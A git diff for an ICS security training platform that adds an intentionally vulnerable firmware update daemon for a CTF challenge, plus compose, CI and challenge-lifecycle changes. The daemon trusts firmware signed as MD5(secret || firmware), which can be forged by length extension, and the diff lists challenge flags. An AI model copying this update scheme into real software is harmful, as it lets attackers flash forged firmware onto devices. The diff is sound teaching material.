diff --git a/.devcontainer/stm32/Dockerfile b/.devcontainer/stm32/Dockerfile index 7c1e28c7..2058fb77 100644 --- a/.devcontainer/stm32/Dockerfile +++ b/.devcontainer/stm32/Dockerfile @@ -36,6 +36,9 @@ RUN apt-get update && apt-get install -y \ openssh-client \ && rm -rf /var/lib/apt/lists/* +# Allow root to use west extension commands in this workspace. +RUN git config --system --add safe.directory '*' + # Create user RUN addgroup --gid 1000 docker \ && adduser --uid 1000 --ingroup docker --home /home/docker --disabled-password --gecos "" docker \ @@ -68,8 +71,14 @@ RUN west init -l app && \ # Install Python requirements using west (recommended method) RUN west packages pip --install -# Install Zephyr SDK using west (only ARM toolchain) -RUN west sdk install -t arm-zephyr-eabi +# Install Zephyr SDK toolchain only. +# Host tools are already provided via apt packages above. +ENV ZEPHYR_SDK_VERSION=0.17.4 +ENV ZEPHYR_SDK_INSTALL_DIR=/home/docker/zephyr-sdk-${ZEPHYR_SDK_VERSION} +RUN wget -q https://github.com/zephyrproject-rtos/sdk-ng/releases/download/v${ZEPHYR_SDK_VERSION}/zephyr-sdk-${ZEPHYR_SDK_VERSION}_linux-x86_64_minimal.tar.xz -O /tmp/zephyr-sdk.tar.xz && \ + tar -xf /tmp/zephyr-sdk.tar.xz -C /home/docker && \ + ${ZEPHYR_SDK_INSTALL_DIR}/setup.sh -t arm-zephyr-eabi && \ + rm -f /tmp/zephyr-sdk.tar.xz # Switch back to root for fixuid setup USER root diff --git a/.devcontainer/stm32/docker-compose.yml b/.devcontainer/stm32/docker-compose.yml index 69f259ab..955cde6f 100644 --- a/.devcontainer/stm32/docker-compose.yml +++ b/.devcontainer/stm32/docker-compose.yml @@ -1,6 +1,7 @@ services: dev: container_name: cybics-stm32 + platform: linux/amd64 image: cybics-stm32-dev build: context: ../.. @@ -12,4 +13,5 @@ services: # Mount stm32 source into pre-baked Zephyr workspace - $CYBICS_ROOT/software/stm32:/home/docker/zephyrproject/app - ~/.ssh:/home/docker/.ssh/ - user: ${HOST_UID:-1000}:${HOST_UID:-1000} + # Run as root to avoid bind-mount write failures on hosts with user namespace remapping. + user: root diff --git a/.devcontainer/virtual/docker-compose.yml b/.devcontainer/virtual/docker-compose.yml index ef7c412e..db2972ed 100644 --- a/.devcontainer/virtual/docker-compose.yml +++ b/.devcontainer/virtual/docker-compose.yml @@ -5,7 +5,7 @@ services: context: ../../software/attack-machine dockerfile: Dockerfile hostname: attack-machine - restart: always + restart: "no" stdin_open: true tty: true cap_add: @@ -33,7 +33,7 @@ services: build: context: ../../software/OpenPLC dockerfile: Dockerfile - restart: always + restart: "no" privileged: true ports: - 8080:8080 @@ -48,7 +48,7 @@ services: build: context: ../../software/opcua dockerfile: Dockerfile - restart: always + restart: "no" ports: - 4840:4840 depends_on: @@ -62,7 +62,7 @@ services: build: context: ../../software/s7com dockerfile: Dockerfile - restart: always + restart: "no" ports: - 1102:1102 depends_on: @@ -76,7 +76,7 @@ services: build: context: ../../software/FUXA dockerfile: Dockerfile - restart: always + restart: "no" ports: - 1881:1881 depends_on: @@ -90,7 +90,7 @@ services: build: context: ../../software/hwio-virtual dockerfile: Dockerfile - restart: always + restart: "no" ports: - 8090:8090 depends_on: @@ -105,12 +105,13 @@ services: context: ../.. dockerfile: software/landing/Dockerfile restart: always - network_mode: host + ports: + - 80:80 cap_add: - NET_ADMIN - NET_RAW volumes: - - /var/run/docker.sock:/var/run/docker.sock + - ${XDG_RUNTIME_DIR:-/var/run}/docker.sock:/var/run/docker.sock depends_on: - openplc @@ -119,7 +120,7 @@ services: build: context: ../../software dockerfile: engineeringWS/Dockerfile - restart: always + restart: "no" ports: - 6080:6080 - 5901:5901 @@ -137,9 +138,9 @@ services: build: context: ../../software/cybicsagent dockerfile: Dockerfile - restart: always + restart: "no" ports: - - 5000:5000 + - 5001:5000 - 11434:11434 environment: # Recommended models: tinyllama (fast), phi3:mini (balanced), llama3.2:3b (quality) @@ -166,13 +167,77 @@ services: build: context: ../../software/ids dockerfile: Dockerfile - restart: always + restart: "no" cap_add: - NET_ADMIN - NET_RAW network_mode: host depends_on: - openplc + profiles: + - ids + - full + + firmware-updater: + image: mniedermaier1337/cybics-firmware-updater:${CYBICS_VERSION:-latest} + build: + context: ../../software/firmware-updater + dockerfile: Dockerfile + restart: "no" + depends_on: + - stm32 + volumes: + - firmware_data:/opt/cybics/firmware + - firmware_keys:/opt/cybics/keys + environment: + - UPDATE_SERVER_URL=${UPDATE_SERVER_URL:-http://update.cybics:8080} + - OPENOCD_HOST=stm32 + - OPENOCD_TELNET_PORT=4444 + networks: + virt-cybics: + ipv4_address: 172.18.0.8 + profiles: + - firmware-server + - hardware + + update-server: + image: mniedermaier1337/cybics-update-server:${CYBICS_VERSION:-latest} + build: + context: ../../software/update-server + dockerfile: Dockerfile + restart: always + environment: + - FIRMWARE_VERSION=${FIRMWARE_VERSION:-1.2.1} + - FIRMWARE_MAC=${FIRMWARE_MAC:-extended-mac} + - FIRMWARE_PATH=/opt/cybics/update-server/firmware/firmware.bin + volumes: + - firmware_data:/opt/cybics/update-server/firmware + profiles: + - firmware-server + ports: + - 6689:6689 + networks: + virt-cybics: + ipv4_address: 172.18.0.9 + + stm32: + image: mniedermaier1337/cybics-stm32:${CYBICS_VERSION:-latest} + build: + context: ../../software/stm32 + dockerfile: Dockerfile + restart: "no" + ports: + - 3333:3333 + - 4444:4444 + volumes: + - firmware_data:/opt/cybics/firmware + environment: + - OPENOCD_MODE=${OPENOCD_MODE:-virtual} + networks: + virt-cybics: + ipv4_address: 172.18.0.7 + profiles: + - hardware networks: virt-cybics: @@ -183,3 +248,6 @@ networks: - subnet: 172.18.0.0/24 gateway: 172.18.0.1 +volumes: + firmware_data: + firmware_keys: diff --git a/.github/workflows/devContainer.yml b/.github/workflows/devContainer.yml index 02d17131..b60bd255 100644 --- a/.github/workflows/devContainer.yml +++ b/.github/workflows/devContainer.yml @@ -24,6 +24,7 @@ jobs: df -h - name: Login to Docker Hub + if: ${{ secrets.DOCKERHUB_USERNAME != '' && secrets.DOCKERHUB_TOKEN != '' }} uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} @@ -68,6 +69,7 @@ jobs: df -h - name: Login to Docker Hub + if: ${{ secrets.DOCKERHUB_USERNAME != '' && secrets.DOCKERHUB_TOKEN != '' }} uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} @@ -115,6 +117,7 @@ jobs: df -h - name: Login to Docker Hub + if: ${{ secrets.DOCKERHUB_USERNAME != '' && secrets.DOCKERHUB_TOKEN != '' }} uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} @@ -150,6 +153,7 @@ jobs: df -h - name: Login to Docker Hub + if: ${{ secrets.DOCKERHUB_USERNAME != '' && secrets.DOCKERHUB_TOKEN != '' }} uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} diff --git a/.github/workflows/pushDockerRepos.yml b/.github/workflows/pushDockerRepos.yml index 102e4994..671751c0 100644 --- a/.github/workflows/pushDockerRepos.yml +++ b/.github/workflows/pushDockerRepos.yml @@ -22,6 +22,7 @@ jobs: build-amd64: name: Build amd64 images runs-on: ubuntu-latest + if: ${{ github.repository == 'mniedermaier/CybICS' }} steps: - name: Free up disk space run: | @@ -83,6 +84,7 @@ jobs: build-arm64: name: Build arm64 images runs-on: ubuntu-24.04-arm + if: ${{ github.repository == 'mniedermaier/CybICS' }} steps: - name: Free up disk space run: | @@ -145,6 +147,7 @@ jobs: name: Create multi-arch manifests runs-on: ubuntu-latest needs: [build-amd64, build-arm64] + if: ${{ github.repository == 'mniedermaier/CybICS' }} steps: - name: Checkout repository uses: actions/checkout@v4 diff --git a/.gitmodules b/.gitmodules index 6b0ec276..6e61e920 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,3 @@ [submodule "software/OpenPLC/OpenPLC_v3"] path = software/OpenPLC/OpenPLC_v3 - url = ../OpenPLC_v3 + url = https://github.com/mniedermaier/openplc_v3 diff --git a/README.md b/README.md index 8278c7cb..c79f003b 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ --- -## What is CybICS? +## What is CybICS? ZERRRRRVUS CybICS (Cybersecurity for Industrial Control Systems) is an open-source training platform designed to help cybersecurity professionals, students, and researchers understand the unique challenges of securing industrial control systems (ICS) and SCADA environments. diff --git a/doc/pics/cybics.png b/doc/pics/cybics.png index ced34a9c..0d653f35 100644 Binary files a/doc/pics/cybics.png and b/doc/pics/cybics.png differ diff --git a/software/build.sh b/software/build.sh index 70cb60cc..40d3fd9a 100755 --- a/software/build.sh +++ b/software/build.sh @@ -20,7 +20,8 @@ docker buildx build --platform linux/arm64 -t 172.17.0.1:5050/cybics-opcua:lates docker buildx build --platform linux/arm64 -t 172.17.0.1:5050/cybics-s7com:latest --push ./s7com docker buildx build --platform linux/arm64 -t 172.17.0.1:5050/cybics-fuxa:latest --push ./FUXA docker buildx build --platform linux/arm64 -t 172.17.0.1:5050/cybics-stm32:latest --push ./stm32 +docker buildx build --platform linux/arm64 -t 172.17.0.1:5050/cybics-update-server:latest --push ./update-server # Build landing service from root context docker buildx build --platform linux/arm64 -t 172.17.0.1:5050/cybics-landing:latest --push -f ./landing/Dockerfile .. -# Note: Builder automatically switches back to default on EXIT via trap \ No newline at end of file +# Note: Builder automatically switches back to default on EXIT via trap diff --git a/software/docker-compose.yaml b/software/docker-compose.yaml index 532d91de..f96610cb 100644 --- a/software/docker-compose.yaml +++ b/software/docker-compose.yaml @@ -88,10 +88,29 @@ services: mem_limit: 32m ports: - 3333:3333 + volumes: + - firmware_data:/opt/cybics/firmware networks: br-cybics: ipv4_address: 172.18.0.7 + firmware-updater: + image: localhost:5000/cybics-firmware-updater:latest + restart: always + mem_limit: 64m + depends_on: + - stm32 + volumes: + - firmware_data:/opt/cybics/firmware + - firmware_keys:/opt/cybics/keys + environment: + - UPDATE_SERVER_URL=${UPDATE_SERVER_URL:-http://update.cybics:8080} + - OPENOCD_HOST=stm32 + - OPENOCD_TELNET_PORT=4444 + networks: + br-cybics: + ipv4_address: 172.18.0.8 + networks: br-cybics: name: br-cybics @@ -106,3 +125,5 @@ networks: volumes: fuxa_data: + firmware_data: + firmware_keys: diff --git a/software/firmware-updater/Dockerfile b/software/firmware-updater/Dockerfile new file mode 100644 index 00000000..a5da7b39 --- /dev/null +++ b/software/firmware-updater/Dockerfile @@ -0,0 +1,21 @@ +FROM python:3.11-slim + +RUN apt-get update && apt-get install -y --no-install-recommends \ + openocd \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /opt/cybics/update-service + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY update_daemon.py . +COPY config.yaml . +COPY generate_mac.py . +COPY entrypoint.sh . +RUN chmod +x entrypoint.sh + +# Persistent directories (override via volume mounts) +RUN mkdir -p /opt/cybics/firmware /opt/cybics/keys /opt/cybics/logs + +ENTRYPOINT ["/opt/cybics/update-service/entrypoint.sh"] diff --git a/software/firmware-updater/config.yaml b/software/firmware-updater/config.yaml new file mode 100644 index 00000000..7c2505ce --- /dev/null +++ b/software/firmware-updater/config.yaml @@ -0,0 +1,36 @@ +# CybICS Firmware Update Service configuration +# +# Environment variable overrides (highest priority): +# UPDATE_SERVER_URL – base URL of the update server +# OPENOCD_HOST – hostname/IP of the OpenOCD server +# OPENOCD_TELNET_PORT – OpenOCD telnet port (default: 4444) +# CONFIG_PATH – path to this config file + +update_server: + # Base URL of the firmware update endpoint. + # Under normal CTF operation this server does not exist (returns 404). + # Attackers redirect this hostname to their rogue server. + url: "http://update.cybics:8080" + endpoint: "/api/v1/firmware/latest" + # Polling interval in seconds + poll_interval: 30 + +firmware: + # Path to the currently running firmware binary + current: "/opt/cybics/firmware/current.bin" + # Path where a downloaded firmware is staged before flashing + pending: "/opt/cybics/firmware/pending.bin" + +openocd: + # Hostname of the container running OpenOCD (stm32 service) + host: "stm32" + # OpenOCD telnet interface port + telnet_port: 4444 + +security: + # Path to the 16-byte MAC secret key (generated by entrypoint.sh) + key_path: "/opt/cybics/keys/update.key" + # Hash algorithm used for MAC: MD5(secret || firmware) + algorithm: "md5" + # Secret key length in bytes (provided as CTF hint) + secret_length: 16 diff --git a/software/firmware-updater/entrypoint.sh b/software/firmware-updater/entrypoint.sh new file mode 100644 index 00000000..2985daa0 --- /dev/null +++ b/software/firmware-updater/entrypoint.sh @@ -0,0 +1,22 @@ +#!/bin/bash +# CybICS Firmware Update Service – container entrypoint +# +# 1. Generates a random 16-byte MAC secret key on first run. +# 2. Starts the Python update daemon. + +set -e + +KEY_FILE="/opt/cybics/keys/update.key" +KEY_DIR="$(dirname "$KEY_FILE")" + +if [ ! -f "$KEY_FILE" ]; then + echo "[entrypoint] Generating 16-byte MAC secret key..." + mkdir -p "$KEY_DIR" + dd if=/dev/urandom bs=16 count=1 of="$KEY_FILE" 2>/dev/null + chmod 600 "$KEY_FILE" + echo "[entrypoint] MAC key written to $KEY_FILE" +fi + +mkdir -p /opt/cybics/firmware /opt/cybics/logs + +exec python3 /opt/cybics/update-service/update_daemon.py diff --git a/software/firmware-updater/generate_mac.py b/software/firmware-updater/generate_mac.py new file mode 100644 index 00000000..ea35741b --- /dev/null +++ b/software/firmware-updater/generate_mac.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 +""" +CTF setup helper – generate the initial MAC for a firmware binary. + +Usage: + python3 generate_mac.py + +The resulting hex string is the MAC that update clients will verify. +Participants receive the firmware binary and this MAC as their starting +artefacts and must perform a Length Extension Attack to forge a valid +MAC for a modified firmware. +""" + +import hashlib +import sys + + +def generate_mac(firmware_path: str, key_path: str) -> str: + """Return MD5(secret || firmware) as a hex string.""" + with open(firmware_path, "rb") as f: + firmware = f.read() + with open(key_path, "rb") as f: + secret = f.read() + return hashlib.md5(secret + firmware).hexdigest() + + +if __name__ == "__main__": + if len(sys.argv) != 3: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr) + sys.exit(1) + print(generate_mac(sys.argv[1], sys.argv[2])) diff --git a/software/firmware-updater/requirements.txt b/software/firmware-updater/requirements.txt new file mode 100644 index 00000000..c7ff1346 --- /dev/null +++ b/software/firmware-updater/requirements.txt @@ -0,0 +1,2 @@ +requests>=2.31.0 +pyyaml>=6.0 diff --git a/software/firmware-updater/update_daemon.py b/software/firmware-updater/update_daemon.py new file mode 100644 index 00000000..50060a86 --- /dev/null +++ b/software/firmware-updater/update_daemon.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +""" +CybICS Firmware Update Daemon + +Polls an HTTP endpoint for STM32 firmware updates, verifies integrity +using a MAC, saves the firmware, and triggers flashing via OpenOCD telnet. + +MAC scheme: MD5(secret_key || firmware_binary) +Intentionally vulnerable to Length Extension Attack for the CTF scenario. +""" + +import hashlib +import logging +import os +import socket +import time + +import requests +import yaml + + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", + handlers=[logging.StreamHandler()], +) +logger = logging.getLogger(__name__) + +CONFIG_PATH = os.environ.get( + "CONFIG_PATH", "/opt/cybics/update-service/config.yaml" +) + +# OpenOCD telnet interaction constants +_OPENOCD_BANNER_DELAY = 0.3 # seconds to wait for the welcome banner +_SOCKET_RECV_TIMEOUT = 5 # per-recv timeout in seconds +_FLASH_TIMEOUT = 60 # maximum seconds to wait for flash to complete + + +def load_config(path: str) -> dict: + with open(path) as f: + return yaml.safe_load(f) + + +def load_secret_key(path: str) -> bytes: + with open(path, "rb") as f: + return f.read() + + +def verify_mac(firmware: bytes, mac_hex: str, secret: bytes) -> bool: + """Verify MAC = MD5(secret || firmware). + + Intentionally vulnerable to Length Extension Attack because MD5 uses + the Merkle-Damgård construction. + """ + expected = hashlib.md5(secret + firmware).hexdigest() + return expected == mac_hex + + +def save_firmware(firmware: bytes, path: str) -> None: + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, "wb") as f: + f.write(firmware) + logger.info("Saved firmware to %s (%d bytes)", path, len(firmware)) + + +def flash_via_openocd(firmware_path: str, host: str, port: int) -> bool: + """Flash firmware via OpenOCD telnet interface (port 4444). + + Sends the ``program`` command to the running OpenOCD server so that + the firmware file (accessible inside the stm32 container via the + shared volume) is written to flash. + """ + cmd = f"program {firmware_path} verify reset 0x08000000\n" + logger.info("Connecting to OpenOCD at %s:%d", host, port) + try: + with socket.create_connection((host, port), timeout=30) as sock: + # Use a short per-recv timeout so the loop stays responsive + sock.settimeout(_SOCKET_RECV_TIMEOUT) + + # Discard OpenOCD welcome banner + time.sleep(_OPENOCD_BANNER_DELAY) + try: + sock.recv(4096) + except socket.timeout: + pass + + sock.sendall(cmd.encode()) + logger.info("Sent flash command, waiting for OpenOCD...") + + output = b"" + deadline = time.monotonic() + _FLASH_TIMEOUT + while time.monotonic() < deadline: + try: + chunk = sock.recv(4096) + if not chunk: + break + output += chunk + if ( + b"** Programming Finished **" in output + or b"verified" in output.lower() + or b"Error" in output + ): + break + except socket.timeout: + # No data within 5 s – check overall deadline and retry + continue + + sock.sendall(b"exit\n") + logger.debug("OpenOCD output: %s", output.decode(errors="replace")) + + if b"** Programming Finished **" in output or b"verified" in output.lower(): + logger.info("Flashing completed successfully. CybICS(asdf)") + return True + + logger.error( + "Flashing may have failed. OpenOCD output: %s", + output.decode(errors="replace"), + ) + return False + + except OSError as exc: + logger.error("Could not connect to OpenOCD at %s:%d: %s", host, port, exc) + return False + + +def poll_for_update(config: dict, secret: bytes) -> bool: + """Poll the update server for new firmware. + + Returns True if a firmware update was downloaded and flashed. + """ + base_url = os.environ.get( + "UPDATE_SERVER_URL", config["update_server"]["url"] + ) + endpoint = config["update_server"]["endpoint"] + url = f"{base_url}{endpoint}" + logger.info("Polling: %s", url) + + try: + resp = requests.get(url, timeout=10) + except requests.exceptions.RequestException as exc: + logger.debug("Poll failed (no server): %s", exc) + return False + + if resp.status_code == 404: + logger.debug("No update available (404)") + return False + + if resp.status_code != 200: + logger.warning("Unexpected HTTP status: %d", resp.status_code) + return False + + data = resp.json() + version = data.get("version") + meta_mac = data.get("mac") + download_path = data.get("url") + + if not version or not download_path: + logger.error("Malformed update metadata: %s", data) + return False + + logger.info("Update available: version=%s", version) + + # Download firmware binary + download_url = f"{base_url}{download_path}" + try: + fw_resp = requests.get(download_url, timeout=30) + except requests.exceptions.RequestException as exc: + logger.error("Failed to download firmware: %s", exc) + return False + + if fw_resp.status_code != 200: + logger.error("Firmware download failed with status %d", fw_resp.status_code) + return False + + firmware = fw_resp.content + # Header takes precedence over metadata MAC + mac = fw_resp.headers.get("X-Firmware-MAC", meta_mac) + + if not mac: + logger.error("No MAC provided for firmware – discarding") + return False + + logger.info("Downloaded %d bytes, MAC: %s", len(firmware), mac) + + # Verify MAC + if not verify_mac(firmware, mac, secret): + logger.error("MAC verification FAILED – discarding firmware") + return False + + logger.info("MAC verification passed") + + pending_path = config["firmware"]["pending"] + save_firmware(firmware, pending_path) + + # Flash via OpenOCD + openocd_host = os.environ.get( + "OPENOCD_HOST", config["openocd"]["host"] + ) + openocd_port = int( + os.environ.get("OPENOCD_TELNET_PORT", config["openocd"]["telnet_port"]) + ) + + if not flash_via_openocd(pending_path, openocd_host, openocd_port): + logger.error("Flashing failed – keeping pending firmware for retry") + return False + + # Promote pending → current + current_path = config["firmware"]["current"] + os.makedirs(os.path.dirname(current_path), exist_ok=True) + os.replace(pending_path, current_path) + logger.info("Firmware successfully updated to version %s", version) + return True + + +def main() -> None: + config = load_config(CONFIG_PATH) + + key_path = config["security"]["key_path"] + try: + secret = load_secret_key(key_path) + except FileNotFoundError: + logger.error("MAC secret key not found at %s", key_path) + raise + + poll_interval = int(config["update_server"].get("poll_interval", 30)) + + logger.info("CybICS Firmware Update Daemon started") + logger.info( + "Polling %s every %ds", + config["update_server"]["url"], + poll_interval, + ) + + while True: + try: + poll_for_update(config, secret) + except (OSError, requests.RequestException, ValueError, yaml.YAMLError) as exc: + logger.error("Unexpected error in poll cycle: %s", exc) + time.sleep(poll_interval) + + +if __name__ == "__main__": + main() diff --git a/software/landing/Dockerfile b/software/landing/Dockerfile index 91e6a876..8a7f3a49 100644 --- a/software/landing/Dockerfile +++ b/software/landing/Dockerfile @@ -5,6 +5,7 @@ RUN apk add --no-cache \ linux-headers \ libffi-dev \ libpcap-dev \ + bash \ tcpdump \ nmap \ iproute2 \ @@ -14,12 +15,13 @@ RUN apk add --no-cache \ wget \ bind-tools \ netcat-openbsd \ - docker-cli - + docker-cli \ + docker-cli-compose + WORKDIR /CybICS # Create directories first -RUN mkdir -p training pics data scripts +RUN mkdir -p training pics data scripts/challenges scripts/open-wrt # Copy files (assuming root build context) COPY software/landing/requirements.txt ./ @@ -28,6 +30,11 @@ RUN pip install --no-cache-dir -r requirements.txt COPY software/landing/app.py ./ COPY software/landing/ctf_config.json ./ COPY software/landing/pics/ pics/ +COPY software/open-wrt/Dockerfile scripts/open-wrt/ +COPY software/open-wrt/99-wan-config scripts/open-wrt/ +COPY software/open-wrt/*.sh scripts/open-wrt/ +COPY software/open-wrt/docker-compose.yml scripts/open-wrt/ +RUN chmod +x scripts/open-wrt/*.sh COPY software/landing/templates/ templates/ COPY software/landing/static/ static/ COPY software/landing/utils/ utils/ diff --git a/software/landing/app.py b/software/landing/app.py index fc0a96bd..9350a03a 100644 --- a/software/landing/app.py +++ b/software/landing/app.py @@ -18,6 +18,7 @@ from modules.stats_collector import StatsCollector from modules.network_capture import NetworkCapture from modules.ctf_manager import CTFManager +from modules.challenge_lifecycle import ChallengeLifecycleManager from modules.network_routes import register_network_routes # Initialize Flask application @@ -42,9 +43,11 @@ def custom_version_string(self): stats_collector = StatsCollector() network_capture = NetworkCapture() ctf_manager = CTFManager() +lifecycle_manager = ChallengeLifecycleManager(ctf_manager) # Start background collection -stats_collector.start() +if os.environ.get('CYBICS_DISABLE_BACKGROUND_THREADS', '').lower() not in ('1', 'true', 'yes'): + stats_collector.start() # ========== UTILITY FUNCTIONS ========== @@ -249,6 +252,24 @@ def verify_defense(challenge_id): return jsonify(result) +@app.route('/api/ctf/challenge//status') +def challenge_status(challenge_id): + """Get lifecycle status for a challenge""" + result, status_code = lifecycle_manager.get_status(challenge_id) + return jsonify(result), status_code + +@app.route('/api/ctf/challenge//start', methods=['POST']) +def start_challenge_environment(challenge_id): + """Start lifecycle resources for a challenge""" + result, status_code = lifecycle_manager.start_challenge(challenge_id) + return jsonify(result), status_code + +@app.route('/api/ctf/challenge//stop', methods=['POST']) +def stop_challenge_environment(challenge_id): + """Stop lifecycle resources for a challenge""" + result, status_code = lifecycle_manager.stop_challenge(challenge_id) + return jsonify(result), status_code + @app.route('/ctf/submit', methods=['POST']) def submit_flag(): """Submit a CTF flag for validation""" @@ -274,6 +295,21 @@ def submit_flag(): } ctf_manager.save_progress(progress) + challenge, _ = ctf_manager.get_challenge(challenge_id) + lifecycle_config = challenge.get('lifecycle', {}) if challenge else {} + if lifecycle_config.get('enabled'): + stop_result, stop_status_code = lifecycle_manager.stop_challenge( + challenge_id, + suppress_inactive_error=True + ) + result['environment_stopped'] = stop_result.get('environment_stopped', False) + if stop_status_code >= 400 or not stop_result.get('success', False): + result['cleanup_error'] = stop_result.get('message') + elif stop_result.get('environment_stopped'): + result['cleanup_message'] = stop_result.get('message') + else: + result['environment_stopped'] = False + return jsonify(result) @app.route('/ctf/progress') diff --git a/software/landing/ctf_config.json b/software/landing/ctf_config.json index c5fb48d8..b80f8885 100644 --- a/software/landing/ctf_config.json +++ b/software/landing/ctf_config.json @@ -168,7 +168,23 @@ "tag": "exploit", "flag": "CybICS(1ntrusi0n_d3tect3d)", "hint": "Perform multiple different attacks and check the IDS flag endpoint", - "training_content": "training/ids_challenge/README.md" + "training_content": "training/ids_challenge/README.md", + "lifecycle": { + "enabled": true, + "display_name": "IDS Environment", + "compose_profile": "ids", + "start": { + "script": null + }, + "stop": { + "script": null + }, + "healthcheck": { + "type": "tcp", + "target": "${CYBICS_HEALTHCHECK_HOST:-host.docker.internal}:8443", + "timeout_seconds": 30 + } + } }, { "id": "ids_forensics", @@ -178,7 +194,23 @@ "tag": "analysis", "flag": "CybICS(f0r3ns1c_4n4lyst)", "hint": "Use the /api/summary and /api/alerts endpoints to gather data about the incident", - "training_content": "training/ids_forensics/README.md" + "training_content": "training/ids_forensics/README.md", + "lifecycle": { + "enabled": true, + "display_name": "IDS Environment", + "compose_profile": "ids", + "start": { + "script": null + }, + "stop": { + "script": null + }, + "healthcheck": { + "type": "tcp", + "target": "${CYBICS_HEALTHCHECK_HOST:-host.docker.internal}:8443", + "timeout_seconds": 30 + } + } }, { "id": "ids_evasion", @@ -189,6 +221,31 @@ "flag": "CybICS(st34lth_0p3r4t0r)", "hint": "Study the IDS detection thresholds on the Rules tab and send writes slowly", "training_content": "training/ids_evasion/README.md" + }, + { + "id": "firmware_update", + "title": "Malicious Firmware Update", + "description": "Exploit insecure firmware update mechanism", + "points": 400, + "flag": "CybICS(malicious_firmware_injected)", + "hint": "Analyze firmware updates and manipulate them", + "training_content": "training/time-travelers-update/README.md", + "lifecycle": { + "enabled": true, + "display_name": "OpenWRT Firmware Update Environment", + "compose_profile": null, + "start": { + "script": "open-wrt/ctf-router.sh start" + }, + "stop": { + "script": "open-wrt/ctf-router.sh stop" + }, + "healthcheck": { + "type": "tcp", + "target": "${CYBICS_HEALTHCHECK_HOST:-host.docker.internal}:2222", + "timeout_seconds": 30 + } + } } ] }, diff --git a/software/landing/modules/challenge_lifecycle.py b/software/landing/modules/challenge_lifecycle.py new file mode 100644 index 00000000..0542b722 --- /dev/null +++ b/software/landing/modules/challenge_lifecycle.py @@ -0,0 +1,514 @@ +""" +Challenge lifecycle orchestration for CTF environments. +""" +import json +import os +import re +import shlex +import socket +import subprocess +import time +import shutil +from datetime import datetime, timezone + +import requests + +from utils.config import ( + ACTIVE_CHALLENGE_FILE, + COMPOSE_DIR, + COMPOSE_FILE, + REPO_ROOT, + SCRIPTS_DIR, +) +from utils.logger import logger + + +class ChallengeLifecycleManager: + """Start and stop challenge-specific environments.""" + + def __init__(self, ctf_manager): + self.ctf_manager = ctf_manager + self.compose_dir = COMPOSE_DIR + self.compose_file = COMPOSE_FILE + self.scripts_dir = SCRIPTS_DIR + self.state_file = ACTIVE_CHALLENGE_FILE + self.compose_command = self._detect_compose_command() + self.allowed_profiles = self._load_allowed_profiles() + self._reconcile_state() + + def _utc_now(self): + return datetime.now(timezone.utc).isoformat() + + def _load_allowed_profiles(self): + """Parse compose profile names from the compose file.""" + profiles = set() + if not os.path.exists(self.compose_file): + logger.warning(f"Compose file not found for lifecycle manager: {self.compose_file}") + return profiles + + in_services = False + in_profiles = False + current_service_indent = None + profiles_indent = None + service_pattern = re.compile(r"^(\s{2})([A-Za-z0-9][A-Za-z0-9._-]*):\s*$") + profile_pattern = re.compile(r"^\s*-\s*([A-Za-z0-9][A-Za-z0-9._-]*)\s*$") + + with open(self.compose_file, "r", encoding="utf-8") as compose_file: + for raw_line in compose_file: + line = raw_line.rstrip("\n") + stripped = line.strip() + + if not stripped or stripped.startswith("#"): + continue + + if not in_services: + if stripped == "services:": + in_services = True + continue + + if line and not line.startswith(" "): + break + + match = service_pattern.match(line) + if match: + current_service_indent = len(match.group(1)) + in_profiles = False + profiles_indent = None + continue + + current_indent = len(line) - len(line.lstrip(" ")) + if current_service_indent is not None and current_indent <= current_service_indent: + in_profiles = False + profiles_indent = None + + if stripped == "profiles:": + in_profiles = True + profiles_indent = current_indent + continue + + if not in_profiles: + continue + + if current_indent <= profiles_indent: + in_profiles = False + profiles_indent = None + continue + + profile_match = profile_pattern.match(line) + if profile_match: + profiles.add(profile_match.group(1)) + + logger.info(f"ChallengeLifecycleManager loaded {len(profiles)} allowed compose profiles") + return profiles + + def _detect_compose_command(self): + """Prefer `docker compose`, fall back to `docker-compose`.""" + docker_binary = shutil.which("docker") + if docker_binary: + try: + result = subprocess.run( + [docker_binary, "compose", "version"], + capture_output=True, + text=True, + timeout=10, + check=False, + ) + if result.returncode == 0: + return [docker_binary, "compose"] + except OSError: + pass + + docker_compose_binary = shutil.which("docker-compose") + if docker_compose_binary: + return [docker_compose_binary] + + logger.warning("No docker compose command available inside landing container") + return None + + def _default_state(self): + return { + "challenge_id": None, + "status": "stopped", + "last_error": None, + "updated_at": self._utc_now(), + } + + def _load_state(self): + if not os.path.exists(self.state_file): + return self._default_state() + + try: + with open(self.state_file, "r", encoding="utf-8") as state_file: + state = json.load(state_file) + if not isinstance(state, dict): + return self._default_state() + return {**self._default_state(), **state} + except (OSError, json.JSONDecodeError) as exc: + logger.warning(f"Could not load active challenge state: {exc}") + return self._default_state() + + def _save_state(self, state): + os.makedirs(os.path.dirname(self.state_file), exist_ok=True) + state["updated_at"] = self._utc_now() + with open(self.state_file, "w", encoding="utf-8") as state_file: + json.dump(state, state_file, indent=2) + + def _clear_state(self): + self._save_state(self._default_state()) + + def _reconcile_state(self): + """Drop stale active state if the challenge or its lifecycle no longer exists.""" + state = self._load_state() + challenge_id = state.get("challenge_id") + if not challenge_id: + return + + challenge, _ = self.ctf_manager.get_challenge(challenge_id) + lifecycle = self._get_lifecycle(challenge) + + if not challenge or not lifecycle.get("enabled"): + logger.warning(f"Removing stale lifecycle state for missing challenge: {challenge_id}") + self._clear_state() + + def _get_lifecycle(self, challenge): + if not challenge: + return {} + lifecycle = challenge.get("lifecycle") or {} + return lifecycle if isinstance(lifecycle, dict) else {} + + def _get_challenge_lifecycle(self, challenge_id): + challenge, _ = self.ctf_manager.get_challenge(challenge_id) + if not challenge: + return None, None + return challenge, self._get_lifecycle(challenge) + + def _validate_profile(self, profile): + if not profile: + return + if profile not in self.allowed_profiles: + 